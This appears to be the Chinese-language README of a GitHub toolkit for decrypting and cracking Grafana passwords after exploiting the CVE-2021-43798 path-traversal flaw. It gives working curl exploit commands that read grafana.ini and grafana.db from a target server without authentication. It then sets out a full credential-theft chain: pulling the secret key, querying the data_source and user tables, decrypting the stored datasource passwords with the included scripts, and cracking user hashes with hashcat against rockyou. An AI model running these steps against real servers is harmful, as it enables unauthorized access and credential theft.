用于从多种格式解密和破解 Grafana 密码的 Python 工具包。
代码作者:strikoder
处理 两种类型 的 Grafana 密码存储:
完美适用于 CVE-2021-43798 路径遍历漏洞的后利用阶段。
一个存在于 Grafana 8.0.0-beta1 至 8.3.0 版本中的路径遍历漏洞,允许 未经身份验证的攻击者 从服务器读取任意文件,包括:
/etc/grafana/grafana.ini)/var/lib/grafana/grafana.db)/etc/passwd)漏洞利用示例:
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is --output grafana.db
该工具包通过 解密/破解 从数据库中提取的密码来完成攻击链。
解密 data_source 表中 AES-256 加密的密码。
基于: jas502n/Grafana-CVE-2021-43798 并做了关键改进:
将 user 表中的 Grafana PBKDF2_HMAC_SHA256 哈希转换为 Hashcat 兼容格式,用于密码破解。
git clone https://github.com/strikoder/Grafana-Password-Decryptor.git
cd Grafana-Password-Decryptor
pip install cryptography #用于解密
chmod +x AESDecrypt.py grafana2hashcat.py
python3 AESDecrypt.py -hash R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
python3 AESDecrypt.py -f hashes.txt
从 Grafana 配置中提取密钥:
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' --path-as-is | grep secret_key
python3 AESDecrypt.py -hash [HASH] -k YOUR_SECRET_KEY
python3 grafana2hashcat.py grafana_hashes.txt
输入格式(grafana_hashes.txt):
hash1,salt1
hash2,salt2
hash3,salt3
输出(可直接用于 Hashcat):
sha256:10000:base64_salt:base64_hash
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt
hashcat -m 10900 hashcat_hashes.txt wordlist.txt
# 1. 从 grafana.ini 提取密钥(某些情况下可能为空,此时使用 Python 程序中的默认密钥)
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' \
--path-as-is | grep secret_key
# 2. 下载数据库
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is -o grafana.db
# 3. 从 data_source 表中提取 AES 加密的密码
sqlite3 grafana.db "SELECT name, password FROM data_source;"
# 4. 将密码保存到文件(每行一个)
# 示例:R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
# 5. 使用提取的密钥解密
python3 AESDecrypt.py -f passwords.txt -k [SECRET_KEY]
# 0. 下载数据库
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is -o grafana.db
# 1. 从 user 表中提取 PBKDF2 密码哈希
sqlite3 grafana.db "SELECT login, password, salt FROM user;"
# 2. 格式化哈希以供 grafana2hashcat 使用(hash,salt 格式)
# grafana_hashes.txt 中的示例格式:
# 3ad31dc57a7452c442f259cfff7aa61f2a6cea88ee634724ae146e221ae4e01c56c8bcbb3552310acd2fd746a396d2f99bf8,pepper
# 3. 转换为 Hashcat 格式
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt
# 4. 使用 Hashcat 破解(模式 10900 = PBKDF2-HMAC-SHA256)
hashcat -m 10900 hashcat_hashes.txt rockyou.txt
⭐ 觉得有用?给个星星吧!
代码作者:strikoder
| 密码类型 | 数据库表 | 格式 | 工具 | Hashcat 模式 |
|---|
| AES-256 加密 | data_source | Base64 字符串 | AESDecrypt.py | 无(直接解密) |
| PBKDF2_HMAC_SHA256 | user | 十六进制哈希 + 盐 | grafana2hashcat.py | -m 10900 |